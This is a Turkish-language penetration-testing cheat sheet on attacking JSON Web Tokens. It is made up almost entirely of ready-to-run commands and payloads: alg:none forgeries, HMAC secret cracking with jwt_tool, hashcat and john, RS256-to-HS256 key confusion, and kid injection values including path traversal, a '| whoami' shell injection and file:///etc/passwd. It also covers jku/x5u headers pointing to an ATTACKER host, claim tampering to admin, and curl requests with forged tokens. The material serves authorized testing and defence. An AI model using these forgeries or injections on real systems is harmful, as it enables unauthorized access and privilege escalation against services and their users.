Skip to content

JWT Vulnerabilities (Json Web Tokens)

web auth

JWT (header.payload.signature) oturum ve API yetkilendirmesinde sık kullanılır. Saldırı yüzeyi: algoritma seçimi, zayıf HMAC secret, asimetrik key confusion, kid/jku/x5u enjeksiyonu ve claim manipülasyonu.

base64url(header).base64url(payload).base64url(signature)
Terminal window
echo 'TOKEN' | cut -d. -f1 | tr '_-' '/+' | base64 -d 2>/dev/null; echo
Terminal window
echo 'TOKEN' | cut -d. -f2 | tr '_-' '/+' | base64 -d 2>/dev/null; echo
Terminal window
jwt_tool TOKEN
  1. Token’ı yakala (cookie, Authorization Bearer, localStorage).

  2. Header/payload decode et — alg, kid, jku, roller, exp.

  3. none / weak secret / key confusion / kid injection hipotezlerini sırayla dene.

  4. Üretilen token ile korunan endpoint’te yetki yükseltmesini kanıtla.

Terminal window
jwt_tool TOKEN -X a
{"alg":"none"}
{"alg":"None"}
{"alg":"NONE"}
{"alg":"nOnE"}
Terminal window
# imza kısmını boş bırak: header.payload.
Terminal window
jwt_tool TOKEN -C -d /usr/share/wordlists/rockyou.txt
Terminal window
hashcat -m 16500 jwt.txt rockyou.txt
Terminal window
john jwt.txt --wordlist=rockyou.txt --format=HMAC-SHA256
Terminal window
jwt_tool TOKEN -S hs256 -p 'secret'

Sunucu RS256 beklerken saldırgan public key ile HS256 imzalarsa bazı kütüphaneler public key’i HMAC secret gibi kullanır.

Terminal window
jwt_tool TOKEN -X k -pk public.pem
Terminal window
openssl rsa -pubin -in public.pem -outform PEM
{"alg":"HS256","kid":"../../../../dev/null"}
{"alg":"HS256","kid":"| whoami"}
{"kid":"file:///etc/passwd"}
Terminal window
jwt_tool TOKEN -I -hc kid -hv '../../dev/null' -S hs256 -p ''
{"alg":"RS256","jku":"https://ATTACKER/jwks.json"}
{"alg":"RS256","x5u":"https://ATTACKER/cert.pem"}
Terminal window
# ATTACKER'da kendi JWKS'ini host et, token'ı kendi private key ile imzala
Terminal window
python3 -m http.server 8000
Terminal window
jwt_tool TOKEN -I -pc role -pv admin -S hs256 -p 'knownsecret'
Terminal window
jwt_tool TOKEN -I -pc sub -pv admin -S hs256 -p 'knownsecret'
"admin": false → true
"user": "attacker"
"exp": uzak gelecek
GET /api/me HTTP/1.1
Host: TARGET
Authorization: Bearer HEADER.PAYLOAD.SIG
Terminal window
# JWT Editor / json-web-tokens Burp eklentisi ile header.alg ve claim düzenle
Terminal window
curl -sk https://TARGET/api/admin -H 'Authorization: Bearer FORGED'
Terminal window
curl -sk https://TARGET/api/users -H 'Cookie: session=FORGED'
[ ] Token decode edildi (alg/kid/jku/claims)
[ ] none alg denendi
[ ] weak secret kırıldı veya elendi
[ ] key confusion / kid / jku denendi
[ ] forged token ile yetki yükseltmesi kanıtlandı